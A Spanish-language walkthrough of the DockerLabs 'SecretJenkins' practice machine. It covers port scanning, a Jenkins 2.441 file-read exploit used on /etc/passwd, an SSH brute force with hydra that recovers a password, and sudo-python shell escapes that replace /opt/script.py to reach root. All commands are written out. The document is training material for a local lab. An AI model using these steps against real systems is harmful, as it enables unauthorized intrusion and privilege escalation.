> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/secretjenkins.md).

# SecretJenkins

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **SecretJenkins** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos `7z` para descomprimir los archivos:

```bash
7z x secretjenkins.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhLdSeyR5ADLGzuMc93C0%2FPasted%20image%2020250716105426.png?alt=media&amp;token=70c669a3-2844-440b-8eef-2dc1fe393dba" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script que carga la imagen y levanta el contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh secretjenkins.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fd3sTbcIwoT4St2v9TYCV%2FPasted%20image%2020250716105456.png?alt=media&amp;token=c58afc9a-ffdd-4f55-918b-1ac982b00269" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Confirmamos que la máquina está activa con un `ping`:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FG5VA9XHYnqbkfswLVUj4%2FPasted%20image%2020250716105624.png?alt=media&amp;token=9c698ff3-e2a0-40a5-a559-929106df3a6e" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Identificamos dos puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 8080:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhV8Ny2S3fxuDGGX55PrA%2FPasted%20image%2020250716105657.png?alt=media&amp;token=42c050c7-e55c-4288-86ad-c80d846329b2" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,8080 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 8080:** Jetty 10.0.18.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FV6hVBiTCO9Ny75CY6QyL%2FPasted%20image%2020250716105737.png?alt=media&amp;token=890c4bf1-dd6d-441e-aefe-d320a75aeb12" alt=""><figcaption></figcaption></figure>

#### **2.4. Enumeración del servicio web**

Al acceder a `http://172.17.0.2:8080/` visualizamos un panel de login de Jenkins.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FWI5f6p5lyaqMnnYpYjrN%2FPasted%20image%2020250716105825.png?alt=media&amp;token=6a76fa59-4383-4436-a470-23162af50d0e" alt=""><figcaption></figcaption></figure>

Ejecutamos `whatweb` para identificar la versión y las tecnologías que utiliza dicho servicio web:

```bash
whatweb http://172.17.0.2:8080/
```

**Detectamos:** Jenkins 2.441.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FU7X6uH06sH573JyGoqBR%2FPasted%20image%2020250716105919.png?alt=media&amp;token=1262aa6d-1eb6-4bf0-86cd-fc0bae90ce33" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Búsqueda de vulnerabilidades**

Consultamos fuentes de exploits y encontramos el siguiente: [Jenkins 2.441 - Local File Inclusion](https://www.exploit-db.com/exploits/51993).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnNFjFigCeNVcA2i3dHPS%2FPasted%20image%2020250716110017.png?alt=media&amp;token=e6df6001-c7c2-4e34-9d67-01ac9a5535ed" alt=""><figcaption></figcaption></figure>

#### **3.2. Ejecución del exploit**

Ejecutamos el script con Python3 para leer el contenido del archivo `/etc/passwd`:

```bash
python3 51993.py -u http://172.17.0.2:8080 -p /etc/passwd
```

**Identificamos dos usuarios locales interesantes:**

* `bobby`.
* `pinguinito`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNOb5dea10KEeKj1pNVvL%2FPasted%20image%2020250716110121.png?alt=media&amp;token=ac913bcc-8372-496b-8dd7-abe0d112fa44" alt=""><figcaption></figcaption></figure>

#### **3.3. Ataque de fuerza bruta contra SSH**

Creamos un archivo con los usuarios detectados y usamos `hydra` con la lista `rockyou.txt`:

```bash
hydra -L usuarios.txt -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

**Resultados:**

* **Usuario:** `bobby`.
* **Contraseña:** `chocolate`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FcQSvKxUqjm0If3SLtYGw%2FPasted%20image%2020250716110334.png?alt=media&amp;token=ff5c0175-72ce-447e-88ff-dcfd742cf37a" alt=""><figcaption></figcaption></figure>

Nos conectamos vía SSH:

```bash
ssh bobby@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F0SQOtRD96Qa7d9W9TaXU%2FPasted%20image%2020250716110400.png?alt=media&amp;token=09d242c7-4fa7-4079-9bee-c2c43e906965" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. De bobby a pinguinito**

Verificamos privilegios con `sudo -l`:

```bash
(pinguinito) NOPASSWD: /usr/bin/python3
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FazVQX15GcfAVXHEfQGyy%2FPasted%20image%2020250716110446.png?alt=media&amp;token=58147170-9401-4d45-828f-f0f64b5f5c91" alt=""><figcaption></figcaption></figure>

Eso nos permite ejecutar Python3 como `pinguinito`:

```bash
sudo -u pinguinito python3 -c 'import os; os.system("/bin/sh")'
```

Ahora estamos dentro de la máquina como el usuario `pinguinito`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fh5FANRQkwwF3FG3KUKrq%2FPasted%20image%2020250716110617.png?alt=media&amp;token=711908f1-243e-4554-af7b-3c9b10da9ec6" alt=""><figcaption></figcaption></figure>

#### **4.2. De pinguinito a root**

Consultamos de nuevo `sudo -l`:

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FVwiblp9tNHEIlNPcuhRt%2FPasted%20image%2020250716110804.png?alt=media&amp;token=4d363d0e-0e2d-4c47-a90b-85b71cbcf2b8" alt=""><figcaption></figcaption></figure>

El archivo `/opt/script.py` tiene permisos de ejecución y lectura para el usuario actual, y su contenido ejecuta una función básica de copia de archivos. Aprovechamos este comportamiento para reemplazarlo por uno malicioso.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnwYcffTcsjs3NSHUScMI%2FPasted%20image%2020250716110831.png?alt=media&amp;token=2ed35a6f-68f4-4fcc-933d-fef227d96345" alt=""><figcaption></figcaption></figure>

Creamos un script en Python llamado `1.py` que simplemente ejecuta una shell:

```bash
echo 'import os; os.system("/bin/sh")' > 1.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNtHTdGEoX12rnhR4aHmS%2FPasted%20image%2020250716111002.png?alt=media&amp;token=08c77ffc-df98-4d8f-b3e1-4f6d3bf3e804" alt=""><figcaption></figcaption></figure>

El script legítimo ubicado en `/opt/script.py` lo eliminamos para evitar conflictos:

```bash
rm script.py
```

Renombramos nuestro archivo `1.py` para que tenga el mismo nombre que el original y esté en la ruta requerida:

```bash
mv 1.py script.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXszUiUbdlPpa524BoOnh%2FPasted%20image%2020250716111029.png?alt=media&amp;token=140aec1c-14b3-4023-84cb-3e19e54a201a" alt=""><figcaption></figcaption></figure>

Utilizamos `sudo` para ejecutar el script con privilegios de `root`, ya que el sistema lo permite sin requerir contraseña:

```bash
sudo -u root /usr/bin/python3 /opt/script.py
```

**Resultado:** Obtenemos una shell como el usuario `root`, lo que significa que hemos comprometido completamente la máquina.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F6zsDYhbNSBjPYssQtR4Y%2FPasted%20image%2020250716111107.png?alt=media&amp;token=85802efa-d639-48ab-952e-f3fda5d84981" alt=""><figcaption></figcaption></figure>
